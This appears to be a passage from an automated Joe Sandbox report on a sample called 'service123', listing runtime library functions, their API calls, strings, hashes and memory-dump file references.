Opcode ID: 319f6e39534c5767af2cfca3a72ffc6f065f823a1bc4eada53fdb978fa289a98
Instruction ID: 5ba9799c0d1f2be78073774a2ef198315187743fe2659cc357f64b0c1b0f4de2
Opcode Fuzzy Hash: 319f6e39534c5767af2cfca3a72ffc6f065f823a1bc4eada53fdb978fa289a98
Instruction Fuzzy Hash: C93170716497218BE3009F1BD48061FBBE5EFD2758F250A2CD8A547F80DB32D8458791

Function 6C971C18 Relevance: 6.3, APIs: 4, Instructions: 276COMMON

Download Yara Rule

APIs

Part of subcall function 6C979350: malloc.MSVCRT ref: 6C97937C

memcpy.MSVCRT ref: 6C97189F
memcpy.MSVCRT ref: 6C9718DA

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy$malloc
String ID:
API String ID: 962570267-0
Opcode ID: ae4a71f5aff3d3b1e433508a115de039cbbef55618988d284e26c29bd5cb71b3
Instruction ID: dd81c94b414a11048d340b4a461859130fc523981883093ae7f3444836292453
Opcode Fuzzy Hash: ae4a71f5aff3d3b1e433508a115de039cbbef55618988d284e26c29bd5cb71b3
Instruction Fuzzy Hash: 38C1E475A0A7418FD720DF68C48469EB7E0FF99708F06892DE8D897B10D734E845CB62

Function 6C9D3D60 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C9D3E2B

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9D3DBA, 6C9D3E60
basic_string::insert, xrefs: 6C9D3DB2, 6C9D3E58
basic_string::_M_replace_aux, xrefs: 6C9D3E6C

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 2221118986-1339558951
Opcode ID: 8c586869eb8f1342bc74663c135a27431e499dfaa4743f3c60a0706d083d1f4d
Instruction ID: 9205f7fa38a8464733dfa3fa35880b33169d0badd1f845da07d75c684c1021bc
Opcode Fuzzy Hash: 8c586869eb8f1342bc74663c135a27431e499dfaa4743f3c60a0706d083d1f4d
Instruction Fuzzy Hash: DD4181B2A097109FC300AF2CD98464AFBE9FFD4654F11CA2EF98897754D331E8548B92

Function 6C9660C6 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

parm#, xrefs: 6C9660E1
this, xrefs: 6C96764C
}, xrefs: 6C967640

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: parm#$this$}
API String ID: 0-728413427
Opcode ID: 79ccf76404d669cf2c675c72508c4757a1f19386e4cd84650b18fc68cef30338
Instruction ID: edbe20df0898c30ce264d5920b38b2477500225c156402520808b6aa79c027f2
Opcode Fuzzy Hash: 79ccf76404d669cf2c675c72508c4757a1f19386e4cd84650b18fc68cef30338
Instruction Fuzzy Hash: 74517B7144D3928BD7018F29C0803A97BE0AF66308F1988BDDCD88FB86D7B5D4859B62

Function 002B78E0 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 002B7932
MultiByteToWideChar.KERNEL32 ref: 002B7975

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: a0595e2bae920127e2ed99ac6936f8826dd38c179700124717ced5bf4fce9ef8
Instruction ID: 1bb7870788e92d849a945596feab15cb748f64f2163dca415c056fd9a64dd0ad
Opcode Fuzzy Hash: a0595e2bae920127e2ed99ac6936f8826dd38c179700124717ced5bf4fce9ef8
Instruction Fuzzy Hash: 0A4115B051C3428FD700DF28D48469EBBE0BF85354F04892EE89597391E3B6D959CB43

Function 6C97A470 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6C97A4C2
MultiByteToWideChar.KERNEL32 ref: 6C97A505

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 78eb75bc5d5aaea253d1805e1ca697824f1b531b1d75e0c787fd7db809add68e
Instruction ID: a32f6f028f5d7b89edcf66b827b007e07f7080b4b0403d947b6425663c1ee589
Opcode Fuzzy Hash: 78eb75bc5d5aaea253d1805e1ca697824f1b531b1d75e0c787fd7db809add68e
Instruction Fuzzy Hash: DC41F6B060A3418FDB10DF29D58425EBBF0BF86318F14995EE8948B790EB76D849CB53

Function 6C9D3790 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C9D37FF
memmove.MSVCRT ref: 6C9D3830

Strings

basic_string::assign, xrefs: 6C9D3889

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpymemmove
String ID: basic_string::assign
API String ID: 167125708-2385367300
Opcode ID: 2b1d8f0b5d2bd30b0916c2beda2e819cf35702a3a2c242c6af2214d4d2f06633
Instruction ID: 1ab50a94220228ed9bd42f9ea8dbaa96fc782f22436c9eb66a1f07e4cb8ded13
Opcode Fuzzy Hash: 2b1d8f0b5d2bd30b0916c2beda2e819cf35702a3a2c242c6af2214d4d2f06633
Instruction Fuzzy Hash: 983150B1A0AA508FC7009F3CC18461AFBF5BF96605F12C99DD4989BB14D730E884CB92

Function 6C992DD0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 88stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C992DF3
memcpy.MSVCRT ref: 6C992E5F
wcslen.MSVCRT ref: 6C992EA2

Strings

basic_string::_M_construct null not valid, xrefs: 6C992E6C

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlenwcslen
String ID: basic_string::_M_construct null not valid
API String ID: 339887217-3522614731
Opcode ID: 6800214bbe4f5c5bb7f710dfd53a1ad5a49bd106924219b2594d79ffc6da37ee
Instruction ID: 63f2c5c5dbcc77c17e6fcb40fd9fb8a1436d502c27eed9b05f29e94c5c66ce6d
Opcode Fuzzy Hash: 6800214bbe4f5c5bb7f710dfd53a1ad5a49bd106924219b2594d79ffc6da37ee
Instruction Fuzzy Hash: 782182B15097108FC710DF2CD5C465AFBE8EF99614F19886DE888CB705D331D849CBA2

Function 6C96E168 Relevance: 6.1, APIs: 4, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C96E208
CreateSemaphoreW.KERNEL32 ref: 6C96E24F
WaitForSingleObject.KERNEL32 ref: 6C96E2A0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 7c79e76b4addf039ce2340f287fff9eb457ea5f136527be378c8993f55585451
Instruction ID: 6d051df1dcc31606c8f16a5a117736b16370da67a0598bb864505b92e48bacf5
Opcode Fuzzy Hash: 7c79e76b4addf039ce2340f287fff9eb457ea5f136527be378c8993f55585451
Instruction Fuzzy Hash: 533107B4646742CFEB08AF2EC9847067BB1BB47328F14CA19D8588BAC5D735D4468BC2

Function 6C96F610 Relevance: 6.1, APIs: 4, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C96F6B2
CreateSemaphoreW.KERNEL32 ref: 6C96F6F7
WaitForSingleObject.KERNEL32 ref: 6C96F740

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: fa64252e190c8230a4311b600c3f74b8455295c04ed43fea567e97585336e32c
Instruction ID: 5129ab739bdba3acd13b711f3f50832074f915f4103270e4d76336457cb6c707
Opcode Fuzzy Hash: fa64252e190c8230a4311b600c3f74b8455295c04ed43fea567e97585336e32c
Instruction Fuzzy Hash: EF31F8B4646702CFEB08AF6EC184706BBF1BB46728F14C619E8588B785D735D4468F92

Function 002B1001 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 002B1075
__p__fmode.MSVCRT ref: 002B107A
__p__commode.MSVCRT ref: 002B1087

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: fd5b8ed9181fd57379ee32f958d7ad817684791cfe5e5f6b664955b1f968087c
Instruction ID: 2abe6bbb925a5564203ed505ecec22500d0928e3ede0e1dcda48a825cd782461
Opcode Fuzzy Hash: fd5b8ed9181fd57379ee32f958d7ad817684791cfe5e5f6b664955b1f968087c
Instruction Fuzzy Hash: 52218170564252CBC314BF24E8693E633A1FB403C4FA44E68C8484B256D77AD8F6DBA1

Function 6C9D39C0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 6C9D4760: memcpy.MSVCRT ref: 6C9D47E9

memset.MSVCRT ref: 6C9D3A0F

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9D3D24
basic_string::insert, xrefs: 6C9D3D08, 6C9D3D1C
basic_string::_M_replace_aux, xrefs: 6C9D3A2F

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpymemset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 1297977491-1339558951
Opcode ID: 78c2a51127e92086f72bf4387b24e3406af4bc85206b12ea418147cd0e8834e9
Instruction ID: e16085b82c51f6dd8305a422069dd35f34ada390c407a95e4fef7d284653777a
Opcode Fuzzy Hash: 78c2a51127e92086f72bf4387b24e3406af4bc85206b12ea418147cd0e8834e9
Instruction Fuzzy Hash: 72018072A0A6108FC300EF2C958055EFBE4FB95654F518A5EE498E7714C230E844CB92

Function 002B1B30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

Unknown pseudo relocation bit size %d., xrefs: 002B1C3C
Unknown pseudo relocation protocol version %d., xrefs: 002B1D9D

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: f45e7e08cefd8ead5b8d9721677f2cce53f799ed3eac80b4de609645cea9e63f
Instruction ID: 7b13b4379ea3d3a8dc966fba40a73c617c439c9e4e2a9cd5e4dbbb6dd4fdd24e
Opcode Fuzzy Hash: f45e7e08cefd8ead5b8d9721677f2cce53f799ed3eac80b4de609645cea9e63f
Instruction Fuzzy Hash: 0A71A531924245CBCB04DF28D8D46DABBF1FF85384F698A1AD89497315E730E9358B92

Function 6C96A730 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 171COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 6C96A99D
Unknown pseudo relocation bit size %d., xrefs: 6C96A83C

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: 99b03ef38fd9f73d5fc5f876685d25945c26f39cfbb69d3aa662699dafc80de5
Instruction ID: 700bebd8468906d304595500efa147c803ddc4fa9eddf9b0f8c58672724fc386
Opcode Fuzzy Hash: 99b03ef38fd9f73d5fc5f876685d25945c26f39cfbb69d3aa662699dafc80de5
Instruction Fuzzy Hash: 8451E436A04215CFEB00CF2EC48029DB7B6FB86358F25C969D8556BF90DB30E856CB81

Function 6C9F6E50 Relevance: 5.4, APIs: 4, Instructions: 412stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C9F6ED6

Part of subcall function 6C982AB0: memcpy.MSVCRT ref: 6C982AEA

wcslen.MSVCRT ref: 6C9F6F56
wcslen.MSVCRT ref: 6C9F6FE3
wcslen.MSVCRT ref: 6C9F7070

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: wcslen$memcpystrlen
String ID:
API String ID: 3111578849-0
Opcode ID: 18032a57d67ad634a7885984b88ef09afe22f142383bd6b6036964098e18dea4
Instruction ID: 4998186f79e61830789b54427d1299bb0fcf1e4b224a4f022761b30ba2adf565
Opcode Fuzzy Hash: 18032a57d67ad634a7885984b88ef09afe22f142383bd6b6036964098e18dea4
Instruction Fuzzy Hash: 5E024B70A05705CFCB04DF68C584A9EBBF0AF48318F108969E865DBB54EB35D94ACF81

Function 6C9F65D0 Relevance: 5.4, APIs: 4, Instructions: 412stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C9F6656

Part of subcall function 6C982AB0: memcpy.MSVCRT ref: 6C982AEA

wcslen.MSVCRT ref: 6C9F66D6
wcslen.MSVCRT ref: 6C9F6763
wcslen.MSVCRT ref: 6C9F67F0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: wcslen$memcpystrlen
String ID:
API String ID: 3111578849-0
Opcode ID: 79f7922011d3ef9285a860a16318bfd7f6bffa42e706a9cd206ad4647cf38bbc
Instruction ID: f56d35e7bc1099e978b5b1a882f2e27b179058906ff558fc9b539b254e5eac1d
Opcode Fuzzy Hash: 79f7922011d3ef9285a860a16318bfd7f6bffa42e706a9cd206ad4647cf38bbc
Instruction Fuzzy Hash: 220239B0A057058FCB04DF68C18469DBBF4EF98318F108969D8A5DB754EB35E946CF81

Function 6C9F5CF0 Relevance: 5.4, APIs: 4, Instructions: 391stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C9F5D7B
strlen.MSVCRT ref: 6C9F5E15
strlen.MSVCRT ref: 6C9F5E92
strlen.MSVCRT ref: 6C9F5F0F

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 3759dc0f5057ef7793ee10ca58004d190c0fca8a78097af90eb5c644586026be
Instruction ID: 290b96f99d3664c2b4d3a57aad3fa9ed55ab7539924895adabb8491ee41fb34e
Opcode Fuzzy Hash: 3759dc0f5057ef7793ee10ca58004d190c0fca8a78097af90eb5c644586026be
Instruction Fuzzy Hash: 97F167B4A057058FCB04DF6DC084A9EBBF0AF98314F108A69E8A5DB751E735E946CF81

Function 6C9F5410 Relevance: 5.4, APIs: 4, Instructions: 391stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C9F549B
strlen.MSVCRT ref: 6C9F5535
strlen.MSVCRT ref: 6C9F55B2
strlen.MSVCRT ref: 6C9F562F

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 5dffce2e4a716231052f9b8f7b5e7026e7ac74ae09621aa1aa58c53053cda707
Instruction ID: 7c8c3c2af3ec24c5ce334b804d5609a4775bb8039890f92b2380c441e8ab9b0d
Opcode Fuzzy Hash: 5dffce2e4a716231052f9b8f7b5e7026e7ac74ae09621aa1aa58c53053cda707
Instruction Fuzzy Hash: 37F145B4A057058FCB04DF6CC08499EBBF4AF98218F10C969E8A8DB755E735E946CF81

Function 002B18E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 002B194E

Strings

Unknown error, xrefs: 002B18E2
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 002B192F

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 2382fe2a2c14ec8d64cd0811e30ee206d95593dba33c5f03026cfa543cd9c8d2
Instruction ID: f0f7afcd34e407ecec0180f0d900d3e441c6559ee0c38b878063f0e7b0ab1cf9
Opcode Fuzzy Hash: 2382fe2a2c14ec8d64cd0811e30ee206d95593dba33c5f03026cfa543cd9c8d2
Instruction Fuzzy Hash: D301D670418B45DBD300AF15E48845ABFF1FF89350F868898E5C846269CB32D878CB47

Function 6C9E8D21 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28stringCOMMON

Download Yara Rule

APIs

_read.MSVCRT ref: 6C9E8D06
_errno.MSVCRT ref: 6C9E8D2D
strlen.MSVCRT ref: 6C9E8D5D

Strings

